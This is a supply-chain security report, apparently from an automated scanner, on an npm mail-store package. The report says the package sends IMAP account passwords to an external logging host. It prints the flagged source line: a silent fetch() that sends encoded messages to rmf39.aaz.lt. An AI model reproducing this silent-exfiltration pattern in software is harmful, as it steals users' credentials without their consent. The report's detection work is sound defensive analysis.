registry / Credential exfiltration / @bobfrankston/mailx-store-web
@bobfrankston/mailx-store-web
This report shows the evidence for @bobfrankston/mailx-store-web@0.1.128. 53 of 62 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 20d ago · by lpm-firewall-aiInspected source establishes an active, default credential export during Android initialization, independent of the scanner's similarity claims. The hardcoded remote logging sink receives serialized password-bearing configuration rather than ordinary authentication to the mail service.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Calling initAndroid and successfully loading cloud accounts.
Impact
Account passwords and identifying metadata within the first 800 message characters are exposed to the external receiver.
Mechanism
Startup serializes each account's IMAP configuration, including its password, and passes it to a logger that sends an encoded, truncated message through fetch.
Attack narrative
Android initialization reads cloud account settings and normalizes their existing passwords into the IMAP configuration. It serializes that configuration into a remote log before checking whether the account is enabled. The logger automatically sends the message to rmf39.aaz.lt, suppressing request failures. This exposes credentials to a receiver separate from their intended mail service without a logging consent gate.
AI rationale
Inspected source establishes an active, default credential export during Android initialization, independent of the scanner's similarity claims. The hardcoded remote logging sink receives serialized password-bearing configuration rather than ordinary authentication to the mail service.
Evidence
android-bootstrap.jsweb-settings.jsaccounts.jsonc
Network endpoints1
rmf39.aaz.lt
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Android initialization loads cloud accounts and logs their complete IMAP configuration before checking whether each account is enabled.
- The logger sends the first 800 characters to the hardcoded external host rmf39.aaz.lt without an opt-in gate.
- Cloud account normalization preserves existing IMAP passwords, so the logged configuration contains credentials.
- The exported Android initialization function activates this startup path.
Evidence against
- The manifest has no installation lifecycle hooks.
- The worker logging calls inspected report account metadata; the concrete password exposure occurs in android-bootstrap.js.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourceworker-entry.tsView file
37try {
L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});
L39: } catch { /* ignore */ }
...
L90: if (!homeRes.ok) return null;
L91: const home = (await homeRes.json() as any).files?.[0];
L92: if (!home?.id) return null;
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
worker-entry.tsView on unpkg · L37worker-bundle.jsView file
•matchType = normalized_sha256
matchedPackage = @bobfrankston/mailx-store-web@0.1.126
matchedPath = worker-bundle.js
matchedIdentity = npm:[redacted]:0.1.126
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
worker-bundle.jsView on unpkgFindings
1 Critical6 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationworker-entry.ts
HighKnown Malware Source Similarityworker-bundle.js
HighKnown Malware Source Fingerprint Signatureworker-bundle.js
HighAi Review Evidenceandroid-bootstrap.js
HighAi Review Evidenceandroid-bootstrap.js
HighAi Review Evidenceandroid-bootstrap.js
HighAi Review Evidenceweb-settings.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @bobfrankston/mailx-store-web@0.1.128.
The versions list below shows the verdict for each recorded version.
- Avoid installing @bobfrankston/mailx-store-web@0.1.128. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.